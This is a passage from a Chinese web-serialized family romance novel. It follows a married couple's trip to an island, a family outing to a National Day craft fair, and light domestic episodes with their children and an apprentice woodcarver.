“我压迫,他也乐意啊。” 孟棠失笑:“确实。” “别聊他们了。”文心予看向孟棠,“我看了竞帆的表演,很棒啊,以后打算当演员吗?” 谢泠音完全赞同:“我觉得可以吃这碗饭,竞帆外形条件太好了,他第一次演戏,客串的小皇帝还出圈了,很多人都在夸。” 孟棠说:“他小姑就是演员,竞帆未来的路,我和魏川都没插手,以他的意愿为主,现在还是学业重要。” 文心予说:“学业是比较重要,没文化也演不好戏,现在不管电影还是电视剧,都难看的要死。” 谢泠音:“很中肯的评价。” 晚上,一群人喝到半夜,几乎醉了。 孟棠起初还拦着,后来听梁衡说起自己的事,和谢泠音、文心予对视惊讶之下,默默退出了餐厅。 谢泠音家里住不下那么多人,孟棠给司机打了电话,让他来接人。 魏川喝醉了,孟棠弄不动,还是司机搀扶到车上的。 回到家后,魏川还被楚茵抱怨了一顿。 孟棠解释了两句,楚茵叹了声气:“你跟小川感情好,结婚这么多年,也没吵过架,这一点,我跟你爸爸都很自豪。” “婚姻对于每个人来说都有不同的见解,我希望你跟小川可以互相扶持到白头,我跟你爸爸也老了,以后的家都要交给你们,夫妻和睦,家庭稳固,孩子们永远都会有个港湾。” “我知道。”孟棠莞尔,“妈,您早点休息,我上楼照顾魏川。” “好。”楚茵笑着应了声。 上楼后,孟棠将魏川的外套鞋子脱掉,拧了毛巾给他擦了满脸的酒气。 明天说去螺洲岛的,也不知道能不能清醒过来。 孟棠笑了声,给他掖上薄毯,起身去了浴室。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第262章 时光(6) 翌日,魏川醒来时头痛欲裂。 他低头愣了半分钟,嫌弃地皱起眉头。 “你醒了?”孟棠走了过来。 魏川赶紧抬起手:“我先去洗澡,你让阿姨把床单都换了。” 说完,他掀开被子下了床,大步进了浴室。 孟棠叫了阿姨,换了新床单。 魏川从浴室出来,对着孟棠心虚地勾了勾唇:“我昨晚喝醉了?” “嗯。”孟棠点了点头,“追忆往昔追到热泪盈眶。” 魏川:“……好中二。” 孟棠轻笑:“下去吃早餐。” “好。” 魏川应了声,去衣帽间换了身衣服。 吃饭的时候,果不其然,被楚茵说了两句。 魏川不理会,她说她的,他吃他的。 吃差不多了,他擦了擦嘴,说:“妈,这段时间麻烦你照看一下两个孩子,我跟孟棠出门转转。” “怎么突然要出门了?”楚茵好奇地问了一嘴。 在她看来,孟棠是极度宅家的一个人。 “这些年都没跟孟棠单独出去过。”魏川说,“现在小鱼也上了大学,什么也不用操心,就想着出去走走。” “也行,那你们打算去哪儿?” “螺洲岛。” 楚茵又问:“今天就要走吗?” 魏川摇摇头:“今天来不及,我先把酒店什么的订一下,明天或者后天再走。” 他到现在,头还是很疼。 出门在外,他不想让孟棠照顾自己,所以推迟两天计划。 孟棠对于这种小决定,没什么异议。 孟竞帆得知自己的父母要出门旅游,羡慕了一番。 他现在都快忙死了,除了学业不说,还得上形体、表演、音乐等各种各样的课。 魏思沅恨不得他全能,只要是人类会的,他都要会。 孟竞帆嘴上唠叨,其实口嫌体正直,他自己还挺乐意每天那么充实。 两天后,魏川带着孟棠飞去了螺洲岛。 到的时候正好赶上了日落。 以前住的酒店还在,只不过已经换了个样子,装修风格也大变样。 魏川往床上摊了个大字,孟棠路过,他拽住人家的手腕就给扯到了怀中。 孟棠在他胸口捶了一下:“好端端吓什么人?” “歇一会儿再出去。”魏川说,“我看你在船上的时候揉腰,腰不舒服?” 孟棠点了点头。 她为当地的非遗文化馆雕刻了一座江河湖海,从准备到成品,整整花了三年的时间。 光是找料,就花费了两三个月。 平日里还要忙活一些别的,久而久之,她的腰渐渐落下了小毛病。 即便她自己已经很注意,即便魏川找专人给她理疗,但还是无法避免。 魏川翻了个身:“趴着,我给你按按。” 夫妻多年,魏川也学了十分到位的按摩手艺。 孟棠很喜欢魏川给她按摩,两人在安静的空间里聊一天的琐碎。 魏川常给孟棠按摩,知道她吃什么样的力道。 孟棠微微眯着眼睛,问魏川:“梁衡真的离婚了?” 魏川说:“当时我们四个人喝酒的时候,当然是劝和不劝离,我看梁衡也有些动摇,不知道这次回去会怎么样?” “当初我还以为他和谭曦能成。”孟棠叹了句。 魏川一愣:“为什么是谭曦?我怎么不知道啊?” “我们举办婚礼之后吧,谭曦跟我说的,说梁衡跟她聊了一段时间。”孟棠说,“但什么也没说,谭曦觉得奇怪,找我聊了两句。” “我当时也不知道他什么意思,后来有一次,他和谭曦开玩笑,说三十还没结婚两人凑一对。” “谭曦真就当玩笑了,而且梁衡和谭曦离得太远,也不现实,后来就不了了之了。” “那怎么确定梁衡对谭曦有意思?”魏川有些不解。 孟棠说:“断联之前,他给谭曦发了封邮件,暗示了,谭曦深刻考虑之后,没有回复。” 魏川:“……这么多年,你竟然瞒着我这件事?” 孟棠:“他俩后来也没联系,我就没说,而且梁衡也结婚了,我就更没说的必要了。” “我去,这小子还对谭曦动过心啊。”魏川有些惊讶,“按照他性格,谭曦也不是他的菜啊,我倒是觉得他现在的老婆符合他的审美。” 孟棠说:“可能就是婚礼的氛围太好,一时的心动罢了,这点心动哪里抵得上现实的距离。” “我对你可以抵得上现实的距离。”魏川突然肉麻了一句。 孟棠转过脸:“饶了我吧,我真的已经过了听情话的年纪了。” 魏川歪倒在她身边,在她脸上亲了口:“要不要出去看日落?” 孟棠突然笑了声:“我要是不出去,是不是白来了?感觉就是换个地方躺。” “不出去就不出去呗。”魏川说,“今天一天都在赶路,确实有点累,咱们还要在这里待四五天,随便选一天看日落都可以。” 孟棠“嗯”了声:“那歇会儿,待会儿我直接让酒店送餐到房间,明早如果起得来,咱们就去看日出。” “订个闹钟吧。”孟棠说,“今天坐船不太舒服,让酒店送点清淡的,再来一盅甜汤。” “好,你先休息,我去打电话。” 魏川出了卧室,给酒店管家打了电话:“准备清淡一点的两人餐和一盅甜汤,半小时后送。” 孟棠现在估计没什么胃口,魏川索性推迟了。 他来到阳台,对着海边拍了张日落照片,发了张朋友圈。 半小时一晃而过,魏川去卧室将孟棠拉了起来:“吃饭去。” 孟棠顺势起来站到床上,魏川十分默契地后退一步,让她趴在自己肩头。 “点了什么啊?” 魏川说:“点了你爱吃的,海蜇皮和鸡丝粉,还有海鲜疙瘩汤,甜品就不知道是什么了,待会儿自己看。” “已经送到了吗?”孟棠蹭了下魏川的脸。 “送来了。”魏川兜住她腿弯,“抱紧了啊。” 孟棠搂着他脖颈:“驾~” 魏川轻笑:“把我当什么了?” “骏马。”孟棠理直气壮,“不想当吗?” “行,别说马了,狗也行。”魏川哄她。 孟棠笑得不行,拍了下他的肩膀:“我真服你了,怎么一点包袱都没有。” 魏川哼了声:“要什么包袱,要老婆就行了。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第263章 时光(7) 酒店的大阳台上,孟棠和魏川相对而坐。 魏川将清蒸的蟹一一剥开,将原汁原味的蟹肉推到孟棠跟前。 孟棠笑着道了声谢,撇过头看了眼远处的海,黑乎乎一片。 “别看了,先吃饭。”魏川敲了下桌子,“凉了难吃。” 话落,孟棠搁在桌上的手机震动了声,她低头瞧了眼,无语地轻嗤:“沅沅姐又上热搜了。” 魏川抬眸:“又造什么谣了?” “说她怀二胎了。”孟棠说,“不过是因为这段时间没有工作,有点松懈了。” 魏川失笑:“这话别给她听到,不然明天就减肥。” 孟棠叹了声气:“竞帆以后是不是也这样?” “我只能说在这行干的好的需要大心脏。”魏川说,“现在火的没一个没被骂过,都是流程。” “有些黑粉会扯到艺人的家庭。” “那我就退网。”魏川说,“我心理可脆弱了,受不了别人骂我。” “少来。”孟棠被他逗笑,“你心理还脆弱?” 魏川说:“没事,有孟竞帆在前面挡着。” 孟棠:“他知道一定谢谢你。” “糊咖无人报道。”魏川说,“他现在专注学业,已经不接剧了,等他长大成人,观众都把他忘哪儿去了。” 孟棠:“那你可别忘了沅沅姐手里握着大把的资源和IP,你儿子想演,还不是一句话的事。” “魏思沅就算给他剧本,那也一定是合适他的,不合适的不可能给他。”魏川说,“不过我作为他的爸爸,客观地说一句,他演技确实还可以,用你们的话来说,叫天生吃这碗饭的。” “俗话说侄女像姑,外甥像舅,咱家这个倒是像他姑姑了。”孟棠感叹了句。 “拉倒吧。”魏川泼凉水,“魏思沅年轻的时候,演技根本不能看,后来好一点了,但也就是不尴尬,她和赵疏白两人做公司是对的。” 孟棠白了他一眼:“每次你俩在一起吵架,少不了你的撩拨。” “那你是没见她小时候往死里揍我。”魏川十分冤枉,“你怎么胳膊肘还往外拐呢。” 孟棠:“……” 都是姓魏的,怎么能算是胳膊肘往外拐。 魏川耍起赖来,孟棠一般不是对手,眼下他又“我不管我不管”了。 “吃饭。”孟棠夹了块鱼饼塞进他口中。 后半程,阳台边安静了下来。 吃完饭,孟棠睡不着,提议去海边走走。 黑灯瞎火的,其实没什么好逛的,但魏川还是牵起了她的手。 “太晚了,不太安全,沿着酒店绕一圈吧。” “好。” 出来玩的游客们不会睡太早,魏川和孟棠沿着酒店悠闲地逛。 走了十来分钟,孟棠指了指沙滩边:“其实还有很多人,看见没有。” 魏川当然看见了,有烧烤有唱歌,还有跳舞的,他转头问孟棠:“想去玩吗?” 孟棠有点社恐,闻言摇了摇头:“我看人家都快结束了,还是不去了。” “早呢。”魏川将孟棠推着往前,“两个人也没什么意思,去玩玩。” “还是不去了吧。”孟棠有些尴尬。 正好人群中有人看到他俩,魏川顿时挥了挥手:“晚上好。” “晚上好。”对面的男人热情地打了招呼,“烧烤吃吗?” 魏川问:“可以吗?” 孟棠:“……” 明知故问。 “客气什么,都是出来玩的,也有不少人中途加入的,摊子是越来越大了,一起吧。” “行,那我就恭敬不如从命了。”魏川拉着孟棠走了过去。 “来,让让啊,咱们来新朋友了。” 男人的朋友们一转头,被魏川和孟棠惊了一下。 无论是外貌还是气度,跟他们都不在一个图层,一群人不自觉散开了点,分出了两个座位给他俩。 “不好意思啊,打扰了。”魏川笑着说,“我俩散步太无聊了。” “谁说不是啊,我们也是中途加入的,这哥们的烤串可以去摆摊了。”其中有人搭话,“来,尝尝吧。” 魏川道了声谢,接过后给孟棠递过去:“尝一下。” 孟棠尝了一口,竖起了大拇指:“真的好吃。” 魏川也尝了口,眼眸一亮:“谁的手艺啊,真的可以摆摊了。” “我的手艺。”其中一个大哥说,“我家院子大,人口也多,有事没事就在院子里烧烤,手艺就那么练出来了。” 魏川抵了抵孟棠:“你还别说,咱们回雁清也可以这样,咱家院子也大。” 孟棠:“……” 她家的院子可以看雪、听雨、煮茶……就是不能烧烤。 孟棠在这方面有点讲究,什么样的事就应该在什么样的地方做。 魏川一见她这样,就知道没戏。 “你俩什么时候来岛上的?”旁边的人对孟棠和魏川很好奇,顺口问了句。 魏川说:“今天刚到,你们呢?” “我们已经是第三天了,明天就得走了。” 魏川:“我跟我老婆还得待两天。” 这章没有结束,请点击下一页继续阅读!“你们怎么想起来这个岛上玩了,其实这个岛在国内都算小众。” “我们结婚就在这里。”魏川说,“其实也不算小众,很多人会在这里拍婚纱照。” “原来是这样,你俩过结婚纪念日来了?” “差不多吧。” “你俩要来唱歌吗?” 魏川眼眸一亮:“唱。” 孟棠:“……” 她就佩服魏川这样的人,不管唱得怎么样,反正人家敢上去。 一连唱了三首,唱得四周的孤魂野鬼都跑了。 人群寂静,有人憋笑,有人尴尬,有人捧场。 孟棠最佩服捧场的大哥,心态太强了。 她跟魏川结婚这么多年,一开始还能有滤镜夸夸,哪知魏川不禁夸,越夸越嘚瑟,总要扯开嗓子喊两句。 偶尔打扰到邻居,遭到别人的善意提醒,孟棠就夸不出口了。 偏偏魏川对于自己的唱功深以为信,毕竟孟棠一直都在夸他,后来不夸了,也是怕他太骄傲。 一通解释下来,孟棠都惊呆了。 晚上十一点左右,酒店沙滩关闭,孟棠和魏川回了房间。 躺上床之后,魏川搂着孟棠问:“今天开不开心?” “嗯。”孟棠点了点头,“快睡,明早去看日出,上次看日出还是三年前。” 魏川蹭过去亲了下孟棠,搂着她睡着了。 孟棠定了闹钟,五点两人就起了。 洗漱后直奔海边,竟然也坐了不少人。 魏川找了个相对高一点的位置,将孟棠搂在胸前坐了下来。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第264章 时光(8) 眼前是日出,耳边是海浪,魏川抬手做了个拍照的手势,小声说: “咔嚓一声,把咱俩都拍进去。” 孟棠突然转过脸,说:“我就是比较好奇啊,你为什么那么喜欢拍照?” “我哪里喜欢拍照了?”魏川看着她,“认识你之前,我可一张自拍都没有。” 孟棠忽而一愣,他的潜台词是认识她之后才开始拍照的。 仔细想想也是,魏川的手机相册里除了孩子都是她。 谈恋爱的时候,他们玩共享相册,后来全都打印了出来,家里的相册都装了一柜子。 按照他的说法,以后拿出来看。 事实是那些相册全都压箱底了。 魏川问孟棠:“那你呢?为什么不爱拍照?” 孟棠说:“因为眼睛看到的永远比镜头更加真实。” “这我同意。”魏川掰过她的下巴,“看日出吧。” 孟棠和魏川在螺洲岛待了五天,五天后,他们绕了一大圈,走了两三个城市。 因为有钱有闲,在外的时间稍微久了点,惹得孟竞帆开始抱怨他们时候回去。 魏川哪有工夫搭理他,说了句:“国庆前回。” 孟竞帆松了口气:“我还以为你俩要在国庆后回。” 魏川:“……我有病?那么多人。” “知道了,”孟竞帆敷衍了一句,“赶紧把我妈带回来。” 挂断电话后,魏川不可置信地看向孟棠:“其实他想说的是……你回去就可以了,我回不回去无所谓吧?” 孟棠:“……你别曲解孩子的意思。” “我可没曲解。”魏川不满道,“小时候还挺可爱,越大越惹人烦。” “票买好没有?”孟棠转移话题,“明天回去了,孩子们放假肯定都要回雁清。” “好了,明天回。” 两人在方姐和英姐带了不少土特产和礼物。 方姐接过,说:“可算回来了,孩子们马上放假,又热闹了。” “可不是。”英姐说,“宅子里就我俩,安安静静的。” 孟棠笑道:“这不是回来了,英姐,听说你小孙子快周岁了,我和魏川给他带了礼物,你拿回去吧。” 雇主给东西,笑着收就是,英姐接过,道了声谢。 晚饭是方姐做的,魏川竖起大拇指:“我和孟棠在外面最想念的就是您的手艺。” “整天哄我。”方姐笑开了花,“小鱼放假,是去接还是让她自己坐车?” “小鱼肯定乐意自己坐车。”孟棠看向魏川,“但放假人多,挤来挤去的,要不你去接一下,或者给妈打个电话,让司机送回来。” “我去接吧。”魏川说,“我明天回z市,顺道把兄弟俩也接过来。” “好久没见云舟了。”方姐说,“怪想念的。” 魏川笑道:“过两年他要出国读书,你就更看不到了。” 方姐问:“出国读书是不是有人跟着照顾?” “肯定啊。”魏川示意她放心,“我姐会安排好的,保姆保镖不会缺的。” “那就好。” 方姐一辈子都没出过雁清,更别提出国了。 这么远的距离,她担心魏云舟是自然而然。 吃完饭,孟棠给程逾打了电话,让她在学校等着。 程逾果然如孟棠所料,说:“师父,我都多大人了,还要接什么?我自己坐高铁回,让川叔别跑了。” “竞帆和云舟也要回,他一起接你们三个。”孟棠说,“如果你票已经买了,直接退了吧。” 程逾一听是这样,便同意了。 第二天一早,魏川直奔z市。 最先放了的程逾,因为她下午没课。 魏川接到她后,直接回了别墅。 “川叔,怎么回家了?不去接云舟和竞帆吗?” 魏川说:“他俩还在上课,我们先回家吃午饭。” 程逾失笑:“我倒是把他俩还有课的事情给忘了。” 回到魏家后,没见到孟棠,程逾惊讶地回眸:“川叔,我师父没来吗?” 魏川摇了摇头:“她在雁清,让我来接你们。” 程逾撇了下嘴:“好吧。” 楚茵和魏立峰都在家,看见程逾也很开心。 程逾小时候过来这里还会有拘谨感,这么多年过去了,早没了那些束缚。 魏家的所有人都对她特别好,孟竞帆和魏云舟有的,她也都有。 下午两点左右,魏川带着程逾和父母告了别。 兄弟俩不在一个学校,好在离得不远,下课的时间也正好错开。 率先接到的是魏云舟,他先喊了魏川,又跟程逾打了招呼,上了车后四处看了眼,问: “爸爸,妈妈呢?” 魏川:“……你妈在雁清呢。” 魏云舟小幅度地撇了撇嘴。 魏川尽收眼底,暗自翻了个白眼。 接到孟竞帆已经是一个小时之后的事,魏川静静等着,果然下一秒,孟竞帆就朝他喊:“我妈呢?” 程逾和魏云舟无精打采地看向他:“在雁清。” “爸,赶紧开车。”孟竞帆坐下系好安全带,“我都多久没看见我妈了,我想她了。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!魏川微微偏头:“你们不想我吗?” “想想想。”孟竞帆敷衍道,“快开车啊。” 魏川只觉得命苦,明明小时候他带着多一点,怎么一个个对他不黏糊呢。 可是想想,自己对孟棠好像也是这样,有点分离焦虑症的感觉。 魏川轻笑了声:“一家子栽给了她。” 回到雁清,已经晚上九点,路上有点堵车。 三个孩子睡了一路,下车后精神抖擞,直奔院内: “妈!” “师父!” “妈妈!” 孟棠被冲上来的孟竞帆抱得晕头转向,魏川从后面过来,一把拎住他的后衣领,将他和孟棠隔开。 “你都多大的人了,莽莽撞撞的。” 孟竞帆甩开魏川,搂住孟棠的肩膀:“妈,你想我没有?” 跟魏川一模一样的黏人劲儿,孟棠无奈地点了点头,哄道:“想了。” 孟竞帆满意地笑了声。 孟棠感觉到自己的衣摆被扯了下,低头一看,小儿子抿着唇,什么也没说。 “也想你了。”孟棠对着魏云舟说。 魏云舟松了手指,悄悄扬起了嘴角。 “你们一个个好幼稚啊。”程逾啧了声,话头一转,“师父,你想我没?” 孟棠失笑:“想了,你们饿不饿啊?方姐做好了饭,都等你们很久了。” “饿。”孟竞帆冲进餐厅,嗷嗷待哺。 这孩子现在长身体,一顿能吃一头牛。 方姐和英姐见孩子们回来,都乐坏了,热情地围在一旁。 孟棠给魏川递了筷子:“吃饭吧。” 魏川挨着孟棠坐下,说:“这么晚了,你们怎么没有先吃?” “等一等,没什么。”孟棠说,“我猜到你们会堵车,让方姐推迟了做饭的时间。” 魏川给孟棠夹了块鸡肉:“吃太迟对胃不好,下次不要等了。” “好。” 再有三天就是中秋节,这几天天气不错,月亮逐渐圆润。 程逾走到院中,在海棠树下的躺椅上坐下,悠闲地晃了起来。 不管走多远,她的心里始终牵挂着这方小院,只是可惜,转过头瞥见的角落里,没有了孟遇春。 孟棠走过来,催促她:“洗澡睡觉了。” “还不困呢。”程逾从躺椅上爬起来,“师父,我在学校遇到一个大神,和我一个专业,他也是非遗传承人,但不是木雕,是折扇,超漂亮的。” 程逾是工艺美术专业的,这个专业比较注重传统工艺,里面有一堆非遗传人并不稀奇。 更何况z大近些年一直走非遗路线,口碑都不错。 “折扇……”孟棠喃喃自语,“确实漂亮,前两年我去过苏州的折扇作坊,还给云舟爷爷奶奶买了两把带回去,他们还挺喜欢的。” “师父,我跟着您学了很多,但进学校之后,才发现人外有人,天外有天。” 程逾一向不自谦,该怎么样就是怎么样,今天突然来了这么一句,着实令孟棠惊讶。 “你悟到什么了?” “也不是悟到什么吧。”程逾说,“就是觉得美是相通的,我以前一直觉得木雕最美,后来了解了折扇,发现传统手工艺都是一样的,从选料到成器,中间要历经好多难关,但过程显真章,乐在其中罢了。” 孟棠轻笑:“你年纪虽然小,但思想很成熟,尤其是对于手艺这一块。” 程逾说:“中国传统的手工艺是一张大网,我们这些人是结网的蜘蛛。” 孟棠很喜欢和程逾聊这些,月光倾洒,院中絮语轻轻。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第265章 时光(9) 师徒两人聊到小半夜,各自回了房。 魏川都快睡着了,察觉到孟棠上了床,习惯性将人搂过去:“怎么聊这么晚?” 孟棠说:“好久没见了,聊一聊她在学校的学习生活,看看她在学校都干什么了。” 魏川打了个哈欠:“睡吧,明天亓山有国庆七天生活文化活动,答应了孩子要带他们出去玩。” 明天除了人挤人,什么感受都没有,但孟棠什么也没说。 挤就挤吧,难得一家人聚在一起。 方姐和英姐一把老骨头了,没跟着他们去。 这里最小的是魏云舟,把他看住了就行。 不过魏云舟性情稳重,和孟棠很像,不是让人操心的主。 “你别乱跑。”魏川警告了声孟竞帆。 孟竞帆简直无语:“……我知道,我都十几岁的人了,又不是小时候。” 魏川“呵”了声:“比小时候还不省心,小时候我最起码能把你抱着控制在怀里,现在一溜烟就没影了。” “没事,我看着呢。”程逾抓住孟竞帆的胳膊,“今天绝不让他跑。” 孟竞帆居高临下瞥着比他矮了许多的程逾:“就你?还不够我一拳头的。” “说什么呢?”程逾皮笑肉不笑,捏住孟竞帆胳膊上的肉,拧得他鬼吼鬼叫。 “该,有人治你吧。”魏川白了大儿子一眼。 孟竞帆抽回手臂,威胁性地指了指程逾:“没有一点姐样,要不是看你是女生,我还能输给你了。” 程逾那双雕刻的手,一般男生都不是对手,拧得他又疼又麻。 想不开才会去惹她,但孟竞帆也得维持“男人”的面子,也就嘴上装个松弛。 程逾又对他扬起了手,孟竞帆秒怂:“走走走,我今天一定跟进组织。” 这次在国庆节期间举办的活动是文旅资源的充分展示,雁清比较出名的就是木雕,依旧还是采取市集的方式吸引游客。 但此类市集不单单就是买东西,还可以互动,加深游客的体验感。 这类的摊子摆了满满两条街,有一百多个。 因为本地非遗有限,主办单位又和外地合作,引进了不少传统手作,比如熏香、竹雕、编织等。 从老到少都比较合适。 市集中央的广场还有个舞台,请了乐队。 所有市集的摊位上都挂着国旗,放眼望去一片红。 “妈,那边有摇滚乐队,我去看看。”孟竞帆推开人群就要走,被魏川一把抓住了。 “急什么,顺着人群过去,一个一个摊子先逛。” 孟竞帆:“……” 程逾推了下孟竞帆:“那边有手绘瓷片,去看看,家里的杯垫坏了两个,我们去做,回去给方姐。” “行。”孟竞帆一听,自觉跟着程逾走了过去。 孟棠和魏川在隔壁的模型摊停了下来,因为相对而言,魏云舟喜欢。 孟竞帆拿着笔问孟棠:“你要画什么?” “你管我画什么。”程逾提笔就画,“你画你的。” 孟竞帆为难地挠了下头:“我画画能看吗?” “自信点,好歹在我和师父跟前耳濡目染那么多年。”程逾垂着头说。 自信这个东西,孟竞帆一向是有的。 他看程逾摆动线条简单又流畅,顿时忍不住下笔,抖抖抖,成了无法直视的蚯蚓。 程逾抬眸瞥了眼,笑道:“没事,待会儿我给你改。” 孟竞帆嘴硬:“不用你改,我觉得当涂鸦了,挺不错的。” “你随意。” 小孩好面子,程逾也没揭穿。 隔壁的魏云舟面无表情摆弄着飞机模型,说明书看了两眼就再没看过,第一个将模型组装拼接好了,赢得了周遭一片掌声。 他抿了抿唇,露出一个浅浅的笑。 孟竞帆听到掌声侧眸看去,“啧”了声,和程逾说:“魏云舟那小子也太老成了,看着就闷。” “nonono。”程逾晃了晃食指,“小云舟在学校可受女生欢迎了,像他这种冷脸男神,可吃香了,搁在影视剧里就是霸总的代表,这种题材经久不衰,可惜没几个人演的出来。” 孟竞帆拍了下自己的胸脯:“我能拍的出来吗?” 程逾抬眸,将他上上下下打量了好几遍,说:“你性格挺幼稚的,但气质挺熟的,说不定还真合适。” 孟竞帆说:“等我过几年长大成人,说不定就能演总裁了。” “……谁家总裁十八岁?说你胖还喘上了?哪家总裁都是25以上吧?” 孟竞帆说:“还得看气质,你们不总说我气质成熟,言行幼稚嘛。” “自我评价还挺准确。”程逾说,“可我在网上看你的姐姐粉们都在说等你长大呢。” “哎呀,弟弟才14啊,为什么这么帅啊?” “老天爷啊,已经这么高了吗?和姐姐很配呢。” “好帅好帅啊,小狼狗。” 孟竞帆莫名有些害羞,他抓了下脸:“你别给我说这些,我还有不少妈妈粉呢。” 程逾笑了声:“我是妈妈粉。” 这章没有结束,请点击下一页继续阅读!“你要做我妈?”孟竞帆瞪了她一眼。 程逾呵呵笑道:“做你妈粉怎么了?你小时候,我还给你洗过澡呢,不比你那些妈妈粉更妈妈吗?” 孟竞帆:“……你赶紧全平台取关我,我怕你爆我黑料。” 小时候的事情谁还记得,只要他不承认,永远就没这回事。 生怕程逾再次提起小时候的尴尬事,孟竞帆将自己画的瓷片推过去:“你看着改,我继续逛了。” 程逾抬眸,看向过来找他们的孟棠说:“师父,你们先逛吧,我这还约了周淼,这里是入口,我就在这里等她。” 孟棠看了眼时间,说:“那让淼淼中午来家里吃饭吧。” “行。”程逾应道。 “那我和你师父带两个小子逛逛。”魏川也叮嘱,“你要是有事打我电话。” “知道了。” 孟棠和魏川相视一笑,带着两个小子继续往前。 男孩跟女孩还是不一样,这两人对摊子都不太感兴趣。 孟棠只好带着他俩去看乐队演出。 可乐队的人也不太专业,简直是对耳朵的折磨。 孟竞帆实在听不下去,看到不远处有个编绳技艺的摊位,径自走了过去。 摊位上女生很多,老板见他一个男孩,热情地打了招呼。 孟竞帆想给家里人一人编一条,径自坐了下来。 没成想他动手能力还可以,跟着学了两遍就会了。 加上方姐和英姐,他家一共七口人,他选了简单的样式,七条很快编织好。 孟棠过来找他的时候,他转头就将孟棠的手抓起来,将编织手链给她戴了上去。 孟棠抬手摸了下:“谢谢,编的挺好看的。” 孟竞帆将两条蓝色的给魏川和魏云舟,魏云舟接过了,说:“我不戴,但我会收着。” 孟竞帆揉了揉他的头:“行。” 一圈逛完后,孟棠带着孩子们先回家了。 回到家时,程逾已经回来了。 孟棠问:“怎么没和淼淼多逛一会儿?” “人太多了,我就跟淼淼回来了,正好整了两个杯垫,给方姐试了试,很合适。” 孟棠招呼孩子们洗了手,说:“那你们玩吧,我去看看方姐中午做的什么。” “好。” 孟竞帆将口袋里的手链递给程逾:“给你的。” 周淼故意逗他:“帆帆,没有我的啊?” “呃……有。”孟竞帆转头对着魏云舟伸手,“给淼淼姐的手链呢。” 还没焐热的魏云舟无语地将手链递了过去。 周淼一愣:“真有我的?” 孟竞帆尴尬地点了点头,他编的时候只顾着数自家人数,把周淼给忘了。 “不会是云舟的吧?”周淼看向魏云舟。 魏云舟摇了摇头:“不是我的。” “那我可收着了,”周淼戴上去试了试,又去扒拉程逾的手链,“怎么跟小鱼的不太一样。” 孟竞帆说:“绳结不一样罢了,她的是金蝶结,你的是如意结。” 程逾抬起手腕看了看,问孟竞帆:“寓意不一样吧?” “对,老板说这个金蝶结有破茧重生的意思,如意结就是万事顺利。” “这个寓意还真合适小鱼。”周淼说,“你有心了。” 孟竞帆臭屁道:“那是,我特地问的老板。” “孩子们,吃饭了。”英姐喊了声。 家里人多,方姐做了满满一桌。 周淼自小跟程逾玩得好,总来蹭饭,对方姐的手艺是爱不释手。 方姐很会按照人头做饭,每次都卡量。 结束后基本没有剩菜,魏川就佩服她这一点,因为家里不吃剩菜,倒了实在浪费。 吃完饭,程逾去了工坊,周淼和她告了别。 雕刻的时候,头发丝总滑下来,程逾烦躁地“啧”了声,起身道:“师父,我去找根皮筋。” “我这里有。”孟棠将手腕上的皮筋给了她,“你头发好像长了。” “是长了,都到锁骨了。”程逾将短发扎起来,甩了甩头,觉得清爽多了。 “小鱼,怎么不留长发?” “碍事。”程逾说,“每天还得打理,没工夫。” 孟棠失笑:“但你头发长得快,过几天就得剪,从小到大你都没留过长发,可以试试,不喜欢再剪掉。” 程逾:“好吧,我考虑考虑。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第266章 时光(10) 程逾从小到大没有留长发就是为了方便,实际上她的脸型和外貌,长短都漂亮。 她听了孟棠的建议,留起了长发。 可这长发要时间,万一自己不喜欢,不白留了? 程逾心血来潮去网上买了顶假发,自己没看清楚长短,买回来后才发现是古装长发。 “……” 周淼笑得丧心病狂,程逾将假发甩给她:“别笑了,改一改也能套上去。” 周淼又把假发甩回去:“天这么晚了,明天我给你改吧,先回去了。” 程逾只好将她送到门口,等周淼不见了踪影,她眼珠一转,将长发戴到头上试了试长度。 “我去,这么长?” 程逾关上大门,喃喃自语地往院子里走。 刚拐过影壁,和不知道要干什么的孟竞帆四目相对。 天色太暗,只有后面影壁上有点微弱的光,照亮了程逾的身形,却将她的脸完全隐在了暗处。 “你——” “妈——” 两道一大一小的声音同时响起,孟竞帆的鬼嚎吓了整座院里的人。 “喊什么啊,”程逾连忙上前。 “别过来——” 孟竞帆的脸都吓白了,直接忽略了程逾的声音。 魏川冲在孟棠前头出来:“怎么了?” 孟竞帆颤颤巍巍指了指前头,魏川定睛一看,魂也吓飞了。 白衣长发,看不清面容,一动不动。 “是我……”程逾抬起手,被魏川猛地喝止,又将她的声音压了过去。 孟棠和魏云舟紧随其后跑了出来,看到那道白影时,也是心下一惊。 “哎呀,是我。”程逾一把扯下了头上的假发,“怎么就不让我把话说完呢?” 庭院里寂静了几秒,魏川猛地按住心口吐出一口气。 “程逾。”孟竞帆恼羞成怒,“你神经病啊?大晚上吓人。” 这还是孟竞帆第一次对她口气那么差,看来是吓到他了。 程逾尴尬地挠了下头:“我试试我买的假发。” 孟棠噗嗤一声乐出来,看到两父子一模一样的惊惧表情,笑得肩膀发颤。 “我真不是故意的。”程逾解释道,“我这不是想留长发嘛,先买来试试。” 孟竞帆终于还魂了,他上前拿走程逾的假发,无语道:“你买的是古装用的长发。” “……我知道。” 程逾觉得自己丢人丢到姥姥家了。 魏川也回了魂,但他的鸡皮疙瘩还没下去,他搓了搓手臂,转头搂住孟棠寻求安慰。 孟棠拍了拍他的手背以示安抚。 她对程逾说:“洗澡睡觉去吧。” “好嘞。” 程逾抓起假发就要走,被孟竞帆一把扯了过去:“还把这东西往哪儿带,赶紧扔了。” “不用扔。”程逾抢了回来,“明天周淼过来帮我改短。” 孟竞帆:“……” 他是真服了。 周淼手艺也不怎么样,最终程逾也没敢将假发带到家人的面前。 开学后,一家人又分散在两个城市各忙各的。 天气逐渐转凉,孟棠不小心中招感冒了,惹得魏川快要心疼死了。 孟棠吃完药回房休息,魏川摸了摸她的头:“还烧吗?” “刚吃完药。”孟棠拉下他的手,“见效哪有那么快。” 魏川说:“眼睛都有点红,赶紧躺下休息,我陪你一起。” 孟棠闭上眼睛,脸颊靠着他的肩膀睡了过去。 魏川哪敢睡,时不时就要碰一下孟棠的额头,直至半小时后,孟棠身上流了许多的汗,体温才逐渐稳定。 魏川起身拿了毛巾,小心翼翼给孟棠擦干了汗水。 